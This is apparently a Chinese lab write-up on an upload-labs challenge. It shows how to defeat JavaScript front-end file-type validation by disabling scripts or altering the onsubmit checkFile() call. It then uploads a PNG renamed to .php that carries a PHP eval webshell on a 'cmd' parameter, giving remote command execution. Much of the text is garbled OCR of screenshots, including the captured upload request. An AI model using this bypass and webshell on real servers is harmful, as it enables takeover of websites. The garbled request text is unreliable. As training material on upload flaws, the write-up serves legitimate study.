首页 > 其他分享 >文件上传-js前端验证

文件上传-js前端验证

时间:2023-06-25 19:36:04浏览次数:52  
标签:文件 前端 js 3185475 上传 png

先上传一个文件看看

Re uest Cookies 
Data tools 
AntSword-W 
Burpsuite _F 
BZ162 
caidao-2016 
cain4.9 
downlondto 
FinalShe11Ai

 

 

这里有标识文件类型

 

方法一:

禁用js前端验证

使用工具禁用所有的 js 脚本

 

0 景 用 , 怎 CO 。 ” / CSS• 
禁 甲 存 (D 
禁 用 DNS 缓 存 〖 ) 
用 Java 
禁 用 Meta 里 定 同 
景 用 最 小 字 体 大 小 ( E , 
禁 用 页 面 色 彩 ( 
禁 用 惮 出 到 囗 
用 , ℃ 珏 ( D 
禁 用 页 面 铐 向 旧 
u 表 望 . 《 0 片 . @网页信息. 0 
上 传 一 个 到 服 务 
丷 禁 用 %ÄJavaScript(Q) 
丿 
禁 用 FE%JJavaScriptEÉ

 

或者修改 onsubmit 参数

 

 

 

 

i F footer 
(div c 
pt type=- text/ 
min. 
(script type—- text t javascript• 
i p t j nascrzpt• 
(script type—- text.' javascript• 
f 'S/ prisz—php. 
i p t type•• text/ 
25px: • > 
src-%upload 
Src up L 
-labs—aaster

 

 

保证

 

return checkFile()

函数返回值为true

 

第二种方法:

 

上传png文件 改为php后缀

-23977239422916 
Content—Disposition: form—data; file" , 
Content — Type : image/ png 
@eval ['cmd']); 
--23977239422916 
Content—Dxspositxon: form—data; " 
--23977239422916--1 
filename=" 
cmdyih - 
I. php"

<div "msg 
<div 
<img src=" . / upload/ cmdyih — 
I. php" 
width= Opx

远程执行命令,回显成功

标签:文件,前端,js,3185475,上传,png
From: https://www.cnblogs.com/xlvbys/p/17503757.html

相关文章

  • 记一次曲折的fastjson事件应急响应
    01事件背景介绍某内部应急演练中,安全部门收到通知,称公司内部资产被入侵,且可能已经开始内网横向入侵,现需根据流量情况进行安全事件分析。02事件分析过程通过数据包发现10.X.X.2对80.X.X.1/24使用扫描器发起扫描,包括80.X.X.12,80.X.X.48,80.X.X.61查看源IP80.X.X.12外连情况发现无......
  • Python 中的 JSON 操作:简单、高效的数据交换格式
    在现代的数据交换和存储中,JSON(JavaScriptObjectNotation)作为一种轻量级的数据交换格式,备受青睐。它不仅易于阅读和理解,还可以灵活地表达和存储高维数据。本文将介绍如何在Python中操作JSON文件,实现数据的序列化和反序列化。1.JSON数据格式JSON格式采用键值对的方式......
  • D365: 将多个关联的表数据转换为JSON格式
    最近碰到一个需求,将D365系统中的多个关联表的数据转换成JSON格式导出然后上传到blobstorage,实现方式记录一下,以便将来使用首先在调用是引用usingNewtonsoft.Json,usingSystem.IO引用后,我们用到两个classSystem.IO.StringWriterNewtonsoft.Json.JsonTextWriter分别定义这......
  • 博客园上传markdown文件
    博客园上传markdown文件......
  • 根据上传的excel文件url,进行文件查询
    HttpResponseresponse=HttpUtil.createGet(fileUrl).setConnectionTimeout(20000).setReadTimeout(120000).timeout(3600000).execute();InputStreaminputStream=response.bodyStream();booleanxls=ExcelFileUtil.isXls(inputStream......
  • JS(循环)
    一for循环在程序中,一组被重复执行的语句被称之为循环体,能否继续重复执行,取决于循环的终止条件。由循环体及循环的终止条件组成的语句,被称之为循环语句1语法结构for循环主要用于把某些代码循环若干次,通常跟技术有关系。其语法结构如下for(初始化变量;条件表达式;操作表达式......
  • electron中调用node.js API
    主进程在node.js环境中运行,等同于它拥有调用require模块和使用所有node.jsAPI的能力。但是在渲染器进程中,渲染器是无法直接访问require和其他node.jsAPI的,想要访问有以下两种方法:Preload脚本预加载脚本运行在渲染器环境中,可以在BrowserWindow构造方法中的webPreferences选项里被......
  • React基本引入和JSX语法
    1.1React介绍1.1.1.官网英文官网:https://reactjs.org/中文官网:https://react.docschina.org/1.1.2.介绍描述用于动态构建用户界面的JavaScript库(只关注于视图)由Facebook开源1.1.3.React的特点声明式编码组件化编码ReactNative编写原生应用高效(优秀......
  • 超简约前端点击图片弹窗放大(手机端)
    .markImg{width:100%;height:100%;position:fixed;left:0;right:0;bottom:0;top:0;background:rgba(0,0,0,0.5);padding:15px;box-sizi......
  • P5JS学习笔记
    //启动方法,自动执行functionsetup(){createCanvas(400,400);}//绘画执行方法,自动执行,按设定好的帧数绘制functiondraw(){background(25);ellipse(50,50,80,80);//画圆//鼠标按下事件if(mouseIsPressed){//改变背景色fill(0);}else{fill(255......